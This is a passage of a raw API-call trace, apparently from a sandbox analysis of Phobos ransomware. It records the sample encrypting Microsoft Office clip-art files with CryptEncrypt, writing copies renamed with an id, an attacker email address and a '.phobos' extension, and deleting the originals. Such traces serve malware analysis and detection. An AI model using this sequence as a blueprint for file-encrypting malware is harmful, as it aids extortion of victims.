0x328 [0061.242] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.242] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.242] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dca50) returned 1 [0061.242] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.242] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xda6, lpOverlapped=0x0) returned 1 [0061.250] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xdb0, dwBufLen=0xdb0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xdb0) returned 1 [0061.250] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xdb0, lpOverlapped=0x0) returned 1 [0061.251] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc650) returned 1 [0061.251] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.251] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.251] CryptDestroyKey (hKey=0x10dc650) returned 1 [0061.251] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.251] CryptDestroyKey (hKey=0x10dca50) returned 1 [0061.251] CloseHandle (hObject=0x328) returned 1 [0061.251] CloseHandle (hObject=0x300) returned 1 [0061.252] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0061.252] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.253] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1874) returned 1 [0061.253] CloseHandle (hObject=0x300) returned 1 [0061.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220 [0061.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.253] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.253] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.253] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dca50) returned 1 [0061.253] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.253] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x752, lpOverlapped=0x0) returned 1 [0061.271] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x760, dwBufLen=0x760 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x760) returned 1 [0061.271] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x760, lpOverlapped=0x0) returned 1 [0061.272] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb10) returned 1 [0061.272] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.272] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.272] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0061.272] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.272] CryptDestroyKey (hKey=0x10dca50) returned 1 [0061.272] CloseHandle (hObject=0x300) returned 1 [0061.272] CloseHandle (hObject=0x328) returned 1 [0061.273] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0061.274] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.275] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=10538) returned 1 [0061.275] CloseHandle (hObject=0x328) returned 1 [0061.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220 [0061.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.275] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.275] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.276] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0061.276] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.276] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x292a, lpOverlapped=0x0) returned 1 [0061.297] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2930, dwBufLen=0x2930 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2930) returned 1 [0061.297] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x2930, lpOverlapped=0x0) returned 1 [0061.298] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc50) returned 1 [0061.298] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.298] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.298] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0061.298] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.298] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0061.298] CloseHandle (hObject=0x328) returned 1 [0061.298] CloseHandle (hObject=0x300) returned 1 [0061.299] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0061.299] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.300] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3564) returned 1 [0061.300] CloseHandle (hObject=0x300) returned 1 [0061.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220 [0061.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.301] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.301] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.301] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dca50) returned 1 [0061.301] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.301] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xdec, lpOverlapped=0x0) returned 1 [0061.309] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xdf0, dwBufLen=0xdf0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xdf0) returned 1 [0061.309] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xdf0, lpOverlapped=0x0) returned 1 [0061.310] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc610) returned 1 [0061.310] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.310] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.310] CryptDestroyKey (hKey=0x10dc610) returned 1 [0061.310] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.310] CryptDestroyKey (hKey=0x10dca50) returned 1 [0061.310] CloseHandle (hObject=0x300) returned 1 [0061.310] CloseHandle (hObject=0x328) returned 1 [0061.311] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0061.312] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.312] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2262) returned 1 [0061.312] CloseHandle (hObject=0x328) returned 1 [0061.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220 [0061.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.313] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.313] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.313] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc690) returned 1 [0061.313] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.313] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x8d6, lpOverlapped=0x0) returned 1 [0061.315] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x8e0) returned 1 [0061.315] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x8e0, lpOverlapped=0x0) returned 1 [0061.315] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dccd0) returned 1 [0061.315] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.315] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.315] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0061.315] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.316] CryptDestroyKey (hKey=0x10dc690) returned 1 [0061.316] CloseHandle (hObject=0x328) returned 1 [0061.316] CloseHandle (hObject=0x300) returned 1 [0061.316] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0061.317] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.317] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2262) returned 1 [0061.318] CloseHandle (hObject=0x300) returned 1 [0061.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220 [0061.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.318] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.318] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.318] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc650) returned 1 [0061.318] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.318] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x8d6, lpOverlapped=0x0) returned 1 [0061.398] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x8e0) returned 1 [0061.399] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x8e0, lpOverlapped=0x0) returned 1 [0061.510] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0061.510] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.510] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.510] CryptDestroyKey (hKey=0x10dc690) returned 1 [0061.510] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.510] CryptDestroyKey (hKey=0x10dc650) 